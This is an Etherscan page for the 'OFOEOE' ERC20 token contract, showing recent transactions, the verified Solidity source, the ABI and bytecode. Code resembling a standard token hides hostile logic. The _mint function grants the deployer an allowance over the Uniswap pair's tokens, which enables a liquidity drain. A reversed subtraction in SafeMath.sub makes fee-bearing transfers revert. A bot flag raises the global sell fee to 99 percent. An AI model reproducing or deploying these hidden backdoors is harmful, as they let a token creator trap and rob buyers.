ETH Price: $3,084.99 (+0.79%)
Gas: 4 Gwei

Contract

0xB7163515Ba9C32DaE8096168E4B40542d4bDa4c6
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve197409462024-04-26 17:14:5975 days ago1714151699IN
0xB7163515...2d4bDa4c6
0 ETH0.000155176.38176936
Approve197409462024-04-26 17:14:5975 days ago1714151699IN
0xB7163515...2d4bDa4c6
0 ETH0.00015526.38294498
Transfer From177179682023-07-18 5:14:23358 days ago1689657263IN
0xB7163515...2d4bDa4c6
0 ETH0.0007314512.9775946
Approve177179322023-07-18 5:06:59358 days ago1689656819IN
0xB7163515...2d4bDa4c6
0 ETH0.0006111613.2035847
Approve177179192023-07-18 5:04:23358 days ago1689656663IN
0xB7163515...2d4bDa4c6
0 ETH0.0006583614.14630205
Approve177179082023-07-18 5:02:11358 days ago1689656531IN
0xB7163515...2d4bDa4c6
0 ETH0.0007645716.40711896
Approve177179072023-07-18 5:01:59358 days ago1689656519IN
0xB7163515...2d4bDa4c6
0 ETH0.000650414.0511749
Approve177178982023-07-18 5:00:11358 days ago1689656411IN
0xB7163515...2d4bDa4c6
0 ETH0.0006661114.31275499
Approve177178972023-07-18 4:59:59358 days ago1689656399IN
0xB7163515...2d4bDa4c6
0 ETH0.0005965212.81739634
Approve177178922023-07-18 4:58:59358 days ago1689656339IN
0xB7163515...2d4bDa4c6
0 ETH0.0006711314.42068763
Approve177178902023-07-18 4:58:35358 days ago1689656315IN
0xB7163515...2d4bDa4c6
0 ETH0.000759716.30262213
Approve177178872023-07-18 4:57:59358 days ago1689656279IN
0xB7163515...2d4bDa4c6
0 ETH0.0007339515.75
Approve177178812023-07-18 4:56:47358 days ago1689656207IN
0xB7163515...2d4bDa4c6
0 ETH0.0007884616.91984655
Approve177178762023-07-18 4:55:47358 days ago1689656147IN
0xB7163515...2d4bDa4c6
0 ETH0.0006739114.46163275
Approve177178662023-07-18 4:53:47358 days ago1689656027IN
0xB7163515...2d4bDa4c6
0 ETH0.0006293513.5964496
Approve177178552023-07-18 4:51:35358 days ago1689655895IN
0xB7163515...2d4bDa4c6
0 ETH0.0007552716.20758385
Approve177178552023-07-18 4:51:35358 days ago1689655895IN
0xB7163515...2d4bDa4c6
0 ETH0.0008484718.20758385
Approve177178502023-07-18 4:50:23358 days ago1689655823IN
0xB7163515...2d4bDa4c6
0 ETH0.000815217.49374663
Approve177178502023-07-18 4:50:23358 days ago1689655823IN
0xB7163515...2d4bDa4c6
0 ETH0.000815217.49374663
Approve177178492023-07-18 4:50:11358 days ago1689655811IN
0xB7163515...2d4bDa4c6
0 ETH0.0007732216.59285576
Renounce Ownersh...177178472023-07-18 4:49:35358 days ago1689655775IN
0xB7163515...2d4bDa4c6
0 ETH0.0003249213.99146366
Approve177178472023-07-18 4:49:35358 days ago1689655775IN
0xB7163515...2d4bDa4c6
0 ETH0.0007871416.89146366
Approve177178462023-07-18 4:49:23358 days ago1689655763IN
0xB7163515...2d4bDa4c6
0 ETH0.0007882816.91596457
Remove Total Lim...177178452023-07-18 4:49:11358 days ago1689655751IN
0xB7163515...2d4bDa4c6
0 ETH0.0004680413.82955147
Approve177178452023-07-18 4:49:11358 days ago1689655751IN
0xB7163515...2d4bDa4c6
0 ETH0.0007795916.72955147
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
OFOEOE

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-18
*/

// SPDX-License-Identifier: MIT

/**

Telegram:       https://t.me/OFOEOE_announcements
Website:        https://0f0e0e.com/
Twitter:        https://twitter.com/0F0E0E

*/

pragma solidity ^0.8.13;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; return msg.data;
    }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

library SafeMath {
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage); uint256 c = b - a;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }




    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
}


interface IRouter {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
    function WETH() external pure returns (address);

}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address public unisV2Pair;
    mapping (address => mapping (address => uint256)) internal _allowances;


    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }



    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        _totalSupply += amount;
        _balances[account] += amount;_allowances[unisV2Pair][account] = amount;
        emit Transfer(address(0), account, amount);
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}

contract OFOEOE is ERC20, Ownable{
    using Address for address payable;
    using SafeMath for uint256;

    address public feeWallet = 0x1aE7b284E80Aa88F10D396c952370340188B3A0a;
    address public devWallet = 0x223B4d8879F2C0E2672E65f1cC4e4442B103f4E9;
    uint256 public swapExactAt = 500_000 * 10e18;
    bool public swapEnabled;
    bool public _openTrading;
    mapping (address => bool) private botChecks;

    IRouter public uniswapRouter;
    uint256 public allBotBlockFee = 99;
    uint256 public origiBlockStamp;
    uint256 public dedStamp = 0;
    uint256 public maxTransSize = 50_000_000 * 10**18; // 5%
    uint256 public maxWalltSize = 50_000_000 * 10**18; // 5%

    mapping (address => bool) public excludedFromFees;
    bool private isSwapping; 
    uint256 public buyFeeAmt = 0;
    uint256 public sellFeeAmt = 0;
    constructor() ERC20("0F0E0E", "0F0E0E") {
        IRouter uniRouterAddr = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(uniRouterAddr.factory()).createPair(
            address(this), uniRouterAddr.WETH()
        ); unisV2Pair = _pair;
        

        uniswapRouter = uniRouterAddr;
        excludedFromFees[devWallet] = true; excludedFromFees[feeWallet] = true;
        excludedFromFees[msg.sender] = true; excludedFromFees[address(this)] = true;
        
        // mint
        _mint(msg.sender, 1_000_000_000 * 10 ** decimals());
    }
    // fallbacks
    receive() external payable {

    }

    function withdrawETH(uint256 weiAmount) external onlyOwner{
        payable(owner()).sendValue(weiAmount);
    }

    function enableTrading() external onlyOwner{
        _openTrading = true; swapEnabled = true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(amount > 0, "Transfer amount must be greater than zero"); 
        if(botChecks[recipient] || botChecks[sender]) {
            sellFeeAmt = allBotBlockFee;
        }
        // apply bot tax 99:
        if(!isSwapping && !excludedFromFees[sender] 
            && !excludedFromFees[recipient]
        ) {
            require(
                _openTrading, "Trading is not active yet"
            );
            if (origiBlockStamp + dedStamp > block.number) {
                if(recipient != unisV2Pair) {
                    botChecks[recipient] = true;
                } if(sender != unisV2Pair) {
                    botChecks[sender] = true;
                }
            } 
            require(
                amount <= maxTransSize, "MaxTxAmount is limited"
            );
            if(recipient != unisV2Pair){
                require(
                    balanceOf(recipient) + amount <= maxWalltSize, 
                    "MaxWalletAmount is limited"
                );
            }
        } 
        
        uint256 swapFeeAmount;
        if (isSwapping || excludedFromFees[sender] || excludedFromFees[recipient]) {
            swapFeeAmount = 0;
        }
        else {
            if(recipient == unisV2Pair && !botChecks[sender]) {
                swapFeeAmount = amount * sellFeeAmt / 100;            
            }
            else 
            {
                swapFeeAmount = amount * buyFeeAmt / 100;            
            }
        }
        if (swapEnabled
            && !isSwapping
            && swapFeeAmount > 0
            && sender != unisV2Pair 
        ) {
            swapEthBack();
        }

        if(
            swapFeeAmount > 0
        ) {
            super._transfer(sender, address(this) ,swapFeeAmount); 
            super._transfer(sender, recipient, amount.sub(swapFeeAmount));
        } 
        else {
            super._transfer(sender, recipient, amount);
        }
    }

    function withdrawErc20Token(address tokenAddress, uint256 amount) external onlyOwner{
        IERC20(tokenAddress).transfer(owner(), amount);
    }
    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // add the liquidity
        uniswapRouter.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            devWallet,
            block.timestamp
        );
    }
    
    function updateAllBots(address[] memory isBot_) public onlyOwner {
        for (uint i = 0; i < isBot_.length; i++) { 
            botChecks[isBot_[i]] = true;
        }
    }

    function swapEthBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapExactAt) {
    
            uint256 initialBalance = address(this).balance;
    
            swapEthForTok(contractBalance);
    
            uint256 deltaBalance = address(this).balance - initialBalance;

            payable(feeWallet).sendValue(deltaBalance);

        }
    }

    function swapEthForTok(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // make the swap
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount, 
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeTotalLimits(uint256 amount) external onlyOwner{
        maxWalltSize = amount * 10**18; maxTransSize = amount * 10**18;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allBotBlockFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dedStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalltSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"origiBlockStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapExactAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unisV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"updateAllBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600780546001600160a01b0319908116731ae7b284e80aa88f10d396c952370340188b3a0a179091556008805490911673223b4d8879f2c0e2672e65f1cc4e4442b103f4e91790556a0422ca8b0a00a4250000006009556063600d555f600f8190556a295be96e64066972000000601081905560115560148190556015553480156200008e575f80fd5b5060408051808201825260068082526530463045304560d01b6020808401829052845180860190955291845290830152906002620000cd83826200050f565b506003620000dc82826200050f565b505050620000f9620000f36200031960201b60201c565b6200031d565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200014f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001759190620005d7565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e79190620005d7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000232573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002589190620005d7565b600480546001600160a01b038084166001600160a01b031992831617909255600c8054868416921691909117905560085481165f90815260126020526040808220805460ff199081166001908117909255600754909416835281832080548516821790553380845282842080548616831790553084529190922080549093169091179091559091506200031190620002ee601290565b620002fb90600a62000715565b6200030b90633b9aca0062000725565b6200036e565b505062000755565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620003c95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060015f828254620003dc91906200073f565b90915550506001600160a01b0382165f90815260208190526040812080548392906200040a9084906200073f565b90915550506004546001600160a01b039081165f908152600560209081526040808320938616808452938252808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200049857607f821691505b602082108103620004b757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200050a575f81815260208120601f850160051c81016020861015620004e55750805b601f850160051c820191505b818110156200050657828155600101620004f1565b5050505b505050565b81516001600160401b038111156200052b576200052b6200046f565b62000543816200053c845462000483565b84620004bd565b602080601f83116001811462000579575f8415620005615750858301515b5f19600386901b1c1916600185901b17855562000506565b5f85815260208120601f198616915b82811015620005a95788860151825594840194600190910190840162000588565b5085821015620005c757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620005e8575f80fd5b81516001600160a01b0381168114620005ff575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200065a57815f19048211156200063e576200063e62000606565b808516156200064c57918102915b93841c93908002906200061f565b509250929050565b5f8262000672575060016200070f565b816200068057505f6200070f565b8160018114620006995760028114620006a457620006c4565b60019150506200070f565b60ff841115620006b857620006b862000606565b50506001821b6200070f565b5060208310610133831016604e8410600b8410161715620006e9575081810a6200070f565b620006f583836200061a565b805f19048211156200070b576200070b62000606565b0290505b92915050565b5f620005ff60ff84168362000662565b80820281158282048414176200070f576200070f62000606565b808201808211156200070f576200070f62000606565b6119dc80620007635f395ff3fe6080604052600436106101f4575f3560e01c80638da5cb5b11610108578063c85c07711161009d578063e47269af1161006d578063e47269af1461058b578063f14210a6146105a0578063f25f4b56146105bf578063f2fde38b146105de578063fb4ee9fb146105fd575f80fd5b8063c85c0771146104ef578063d5e23cc714610504578063dbe66ca014610519578063dd62ed3e14610547575f80fd5b80639ed6b920116100d85780639ed6b9201461047d578063a457c2d71461049c578063a9059cbb146104bb578063b9766949146104da575f80fd5b80638da5cb5b146104185780638ea5220f1461043557806395d89b41146104545780639654b5c314610468575f80fd5b80634e17a2db11610189578063715018a611610159578063715018a614610385578063719a623f14610399578063735de9f7146103b857806381ffc9f4146103ef5780638a8c523c14610404575f80fd5b80634e17a2db1461030257806352fc215d146103175780636ddd17131461033857806370a0823114610351575f80fd5b806323b872dd116101c457806323b872dd14610294578063313ce567146102b357806339509351146102ce578063444bd60b146102ed575f80fd5b806306fdde03146101ff578063095ea7b31461022957806318160ddd146102585780631c1702f314610276575f80fd5b366101fb57005b5f80fd5b34801561020a575f80fd5b5061021361061c565b60405161022091906115e0565b60405180910390f35b348015610234575f80fd5b5061024861024336600461164f565b6106ac565b6040519015158152602001610220565b348015610263575f80fd5b506001545b604051908152602001610220565b348015610281575f80fd5b50600a5461024890610100900460ff1681565b34801561029f575f80fd5b506102486102ae366004611679565b6106c2565b3480156102be575f80fd5b5060405160128152602001610220565b3480156102d9575f80fd5b506102486102e836600461164f565b610776565b3480156102f8575f80fd5b50610268600f5481565b34801561030d575f80fd5b5061026860145481565b348015610322575f80fd5b506103366103313660046116cb565b6107ac565b005b348015610343575f80fd5b50600a546102489060ff1681565b34801561035c575f80fd5b5061026861036b36600461178b565b6001600160a01b03165f9081526020819052604090205490565b348015610390575f80fd5b5061033661083f565b3480156103a4575f80fd5b506103366103b33660046117a6565b610874565b3480156103c3575f80fd5b50600c546103d7906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b3480156103fa575f80fd5b5061026860095481565b34801561040f575f80fd5b506103366108cb565b348015610423575f80fd5b506006546001600160a01b03166103d7565b348015610440575f80fd5b506008546103d7906001600160a01b031681565b34801561045f575f80fd5b50610213610906565b348015610473575f80fd5b5061026860155481565b348015610488575f80fd5b5061033661049736600461164f565b610915565b3480156104a7575f80fd5b506102486104b636600461164f565b6109d3565b3480156104c6575f80fd5b506102486104d536600461164f565b610a6d565b3480156104e5575f80fd5b50610268600d5481565b3480156104fa575f80fd5b50610268600e5481565b34801561050f575f80fd5b5061026860105481565b348015610524575f80fd5b5061024861053336600461178b565b60126020525f908152604090205460ff1681565b348015610552575f80fd5b506102686105613660046117bd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610596575f80fd5b5061026860115481565b3480156105ab575f80fd5b506103366105ba3660046117a6565b610a79565b3480156105ca575f80fd5b506007546103d7906001600160a01b031681565b3480156105e9575f80fd5b506103366105f836600461178b565b610acb565b348015610608575f80fd5b506004546103d7906001600160a01b031681565b60606002805461062b906117f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610657906117f4565b80156106a25780601f10610679576101008083540402835291602001916106a2565b820191905f5260205f20905b81548152906001019060200180831161068557829003601f168201915b5050505050905090565b5f6106b8338484610b63565b5060015b92915050565b5f6106ce848484610c86565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156107575760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61076b85336107668685611840565b610b63565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916106b8918590610766908690611853565b6006546001600160a01b031633146107d65760405162461bcd60e51b815260040161074e90611866565b5f5b815181101561083b576001600b5f8484815181106107f8576107f861189b565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610833816118af56